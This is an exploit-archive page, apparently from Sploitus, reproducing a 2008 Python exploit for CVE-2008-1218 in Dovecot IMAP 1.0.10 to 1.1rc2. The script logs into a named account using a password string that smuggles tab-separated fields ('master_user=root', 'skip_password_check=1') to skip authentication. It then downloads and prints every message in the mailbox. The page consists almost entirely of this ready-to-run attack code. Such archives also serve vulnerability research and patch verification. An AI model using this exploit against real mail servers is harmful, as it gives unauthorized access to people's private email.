Sploitus

Dovecot IMAP 1.0.10 <= 1.1rc2 Remote Email Disclosure Exploit

CVE-2008-1218

seebug · 2008-03-15

Exploit Code

MARKDOWN34 lines
## https://sploitus.com/exploit?id=SSV:7991
#lame&nbsp;Dovecot&nbsp;IMAP&nbsp;[1.0.10&nbsp;-&gt;&nbsp;1.1rc3]&nbsp;Exploit
#Here's&nbsp;an&nbsp;exploit&nbsp;for&nbsp;the&nbsp;recent&nbsp;TAB&nbsp;vulnerability&nbsp;in&nbsp;Dovecot.
#It's&nbsp;nothing&nbsp;special&nbsp;since&nbsp;in&nbsp;the&nbsp;wild&nbsp;there&nbsp;are&nbsp;few&nbsp;to&nbsp;none
#targets&nbsp;because&nbsp;of&nbsp;the&nbsp;special&nbsp;option&nbsp;which&nbsp;has&nbsp;to&nbsp;be&nbsp;set.
#see&nbsp;CVE&nbsp;Entry&nbsp;CVE-2008-1218
#Exploit&nbsp;written&nbsp;by&nbsp;Kingcope
import&nbsp;sys
import&nbsp;imaplib

print&nbsp;&quot;Dovecot&nbsp;IMAP&nbsp;[1.0.10&nbsp;-&gt;&nbsp;1.1rc2]&nbsp;Exploit&quot;
print&nbsp;&quot;Prints&nbsp;out&nbsp;all&nbsp;E-Mails&nbsp;for&nbsp;any&nbsp;account&nbsp;if&nbsp;special&nbsp;configuration&nbsp;option&nbsp;is&nbsp;set&quot;
print&nbsp;&quot;Exploit&nbsp;written&nbsp;by&nbsp;kingcope\n&quot;

if&nbsp;len(sys.argv)&lt;3:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;usage:&nbsp;%s&nbsp;&lt;hostname/ip&nbsp;address&gt;&nbsp;&lt;account&gt;&nbsp;[-nossl]&quot;&nbsp;%&nbsp;sys.argv[0]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(0);

if&nbsp;len(sys.argv)&gt;3&nbsp;and&nbsp;sys.argv[3]&nbsp;==&nbsp;&quot;-nossl&quot;:
	M&nbsp;=&nbsp;imaplib.IMAP4(sys.argv[1])
else:
	M&nbsp;=&nbsp;imaplib.IMAP4_SSL(sys.argv[1])
M.login(sys.argv[2],&nbsp;&quot;\&quot;\tmaster_user=root\tskip_password_check=1\&quot;&quot;);
M.select()
print&nbsp;&quot;login&nbsp;succeeded.&quot;
typ,&nbsp;data&nbsp;=&nbsp;M.search(None,&nbsp;'ALL')
k=0
for&nbsp;num&nbsp;in&nbsp;data[0].split():
&nbsp;&nbsp;&nbsp;&nbsp;typ,&nbsp;data&nbsp;=&nbsp;M.fetch(num,&nbsp;'(RFC822)')
&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;'Message&nbsp;%s\n%s\n'&nbsp;%&nbsp;(num,&nbsp;data[0][1])
&nbsp;&nbsp;&nbsp;&nbsp;k=k+1
M.close()
M.logout()
print&nbsp;&quot;Messages&nbsp;read:&nbsp;%s&quot;&nbsp;%&nbsp;k